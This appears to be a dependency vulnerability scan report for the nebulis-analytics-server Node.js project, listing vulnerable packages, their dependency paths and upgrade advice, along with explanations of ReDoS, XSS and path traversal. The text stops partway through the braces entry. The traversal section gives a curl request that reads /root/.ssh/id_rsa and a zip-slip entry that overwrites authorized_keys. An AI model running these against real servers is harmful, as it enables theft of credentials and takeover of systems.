Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade mem to version 4.0.0 or higher.
References
medium severity
- Vulnerable module: passport
- Introduced through: passport@0.3.2
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › passport@0.3.2Remediation: Upgrade to passport@0.6.0.
Overview
passport is a Simple, unobtrusive authentication for Node.js.
Affected versions of this package are vulnerable to Session Fixation. When a user logs in or logs out, the session is regenerated instead of being closed.
Remediation
Upgrade passport to version 0.6.0 or higher.
References
medium severity
- Vulnerable module: yarn
- Introduced through: yarn@0.27.5
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5
Overview
yarn is a package for dependency management.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the setOptions function in the src/util/request-manager.js file. An attacker can cause resource exhaustion by supplying crafted input that triggers excessive backtracking.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
There is no fixed version for yarn.
References
medium severity
- Vulnerable module: on-headers
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › compression@1.6.2 › on-headers@1.0.2Remediation: Upgrade to sails@1.5.15.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › express-session@1.14.2 › on-headers@1.0.2Remediation: Upgrade to sails@1.5.15.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › on-headers@1.0.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › compression@1.5.2 › on-headers@1.0.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › connect-timeout@1.6.2 › on-headers@1.0.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › express-session@1.11.3 › on-headers@1.0.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › morgan@1.6.1 › on-headers@1.0.2
Overview
Affected versions of this package are vulnerable to Improper Handling of Unexpected Data Type via the response.writeHead function. An attacker can manipulate HTTP response headers by passing an array to this function, potentially leading to unintended disclosure or modification of header information.
Workaround
This vulnerability can be mitigated by passing an object to response.writeHead() instead of an array.
Remediation
Upgrade on-headers to version 1.1.0 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: grunt-contrib-coffee@1.0.0, grunt@1.0.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt-contrib-coffee@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-jst@1.0.0 › lodash@2.4.2Remediation: Upgrade to grunt-contrib-jst@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-jst@1.0.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › waterline-cursor@0.0.6 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › merge-defaults@0.1.4 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › switchback@1.1.3 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › switchback@1.1.3 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-adapter@0.10.7 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-api@0.10.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-backend@0.12.8 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-controller@0.10.9 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-gruntfile@0.10.11 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-model@0.10.12 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-sails.io.js@0.13.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-views@0.10.8 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-views-jade@0.10.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › zip-folder@1.0.0 › archiver@0.11.0 › zip-stream@0.4.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › merge-defaults@0.1.4 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-api@0.10.1 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › switchback@1.1.3 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › merge-defaults@0.1.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › sails-generate-sails.io.js@0.14.0 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › switchback@2.0.0 › lodash@2.4.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › waterline-criteria@0.11.2 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › merge-defaults@0.1.4 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › switchback@1.1.3 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › machinepack-urls@3.1.1 › machine@4.1.1 › rttc@1.0.2 › lodash@2.4.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › lodash@3.10.1Remediation: Upgrade to grunt-contrib-watch@1.0.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-sync@0.5.2 › lodash@3.10.1Remediation: Upgrade to grunt-sync@0.6.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › include-all@1.0.8 › lodash@3.10.1Remediation: Upgrade to include-all@3.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › lodash@3.10.1Remediation: Upgrade to sails-disk@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › lodash@3.10.1Remediation: Upgrade to sails-postgresql@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-sync@0.5.2 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › include-all@1.0.8 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › captains-log@1.0.0 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › rttc@9.3.3 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › waterline-criteria@1.0.1 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › waterline-cursor@0.0.7 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-util@0.11.0 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › lodash@3.10.1Remediation: Upgrade to sails@1.1.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › waterline-criteria@1.0.1 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › waterline-cursor@0.0.7 › lodash@3.10.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › waterline-schema@0.2.2 › lodash@3.10.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › anchor@0.10.5 › lodash@3.9.3Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-new@0.10.29 › lodash@3.9.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › reportback@0.1.9 › captains-log@0.11.11 › lodash@2.4.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › sails-generate-frontend@0.12.3 › lodash@2.4.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-generate@0.13.0 › reportback@0.1.9 › captains-log@0.11.11 › lodash@2.4.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › rttc@9.3.4 › lodash@3.8.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-postgresql@0.11.4 › waterline-sequel@0.5.7 › lodash@3.10.0
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It parses dates using regex strings, which may cause a slowdown of 2 seconds per 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade lodash to version 4.17.11 or higher.
References
medium severity
- Vulnerable module: istanbul-reports
- Introduced through: nyc@11.9.0
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › istanbul-reports@1.5.1Remediation: Upgrade to nyc@15.0.0.
Overview
Affected versions of this package are vulnerable to Reverse Tabnabbing because of no rel attribute in the link to https://istanbul.js.org/.
Remediation
Upgrade istanbul-reports to version 3.1.3 or higher.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to NULL Pointer Dereference via Sass::Parser::parseCompoundSelectorin parser_selectors.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Out-of-bounds Read via Sass::weaveParents in ast_sel_weave.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Uncontrolled Recursion via Sass::Eval::operator()(Sass::Binary_Expression*) in eval.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: send
- Introduced through: git-server@github:chrisdobler/NodeJS-Git-Server
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › git-server@github:chrisdobler/NodeJS-Git-Server › connect@2.9.2 › send@0.1.4
Overview
send is a library for streaming files from the file system.
Affected versions of this package are vulnerable to Directory-Traversal attacks due to insecure comparison.
When relying on the root option to restrict file access a malicious user may escape out of the restricted directory and access files in a similarly named directory. For example, a path like /my-secret is consedered fine for the root /my.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade to a version greater than or equal to 0.8.4.
References
low severity
- Vulnerable module: braces
- Introduced through: yarn@0.27.5, nyc@11.9.0 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to yarn@0.28.1.
-
